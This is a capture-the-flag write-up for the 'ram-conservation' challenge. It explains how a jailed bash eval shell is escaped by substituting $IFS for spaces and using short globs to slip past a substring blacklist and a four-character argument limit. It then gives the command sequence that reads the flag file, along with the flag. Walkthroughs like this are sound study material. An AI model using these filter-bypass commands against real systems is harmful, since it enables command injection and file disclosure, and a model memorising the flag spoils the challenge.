ram-conservation

Challenge

RAM prices are going up due to AI, this shell reduces memory use by limiting your inputs. Find the flag!

Service: ncat --ssl <instance>.play.gaslightctf.cooking 31337

The remote shell is a bash eval inside a jail script. Every input is printed as validating '<input>'... and then evaluated.

The constraints (reverse-engineered)

1. Word splitting: input is whitespace-split before eval, so only the first whitespace-separated word survives as a literal. ls;id works because the metacharacters let bash re-split the eval'd string.
2. Space bypass: literal spaces are consumed by the splitter, so $IFS is used as a space. ${IFS} is blocked (nope), but bare $IFS is not.
3. Argument length limit (the "memory limit"): any argument produced by $IFS must be at most 4 characters. od$IFS/abcd -> nope; od$IFS/a?c is fine.
4. Substring blacklist: flag, tmp, proc, store, etc-, *-, and any literal - trigger nope. Globs avoid typing the blocked strings.
5. Absolute vs relative: xxd$IFS/i* becomes xxd /i* (absolute glob); to match a file in the current directory use a relative glob like ?*.

Exploit

The flag lives at /etc-flag-might-be-in-here/is-this-the-flag-<hex>.

/etc ends in c; /etc-flag-might-be-in-here ends in e. So the glob /e*e uniquely matches the flag directory with only 4 characters.

cd$IFS/e*e
ls                        # is-this-the-flag-35812a5abb01
xxd$IFS?*                 # xxd the single file (relative glob)

Flag

gaslightCTF{b3w4r3_th3_r4mp0calys3_fe2c66ec9450}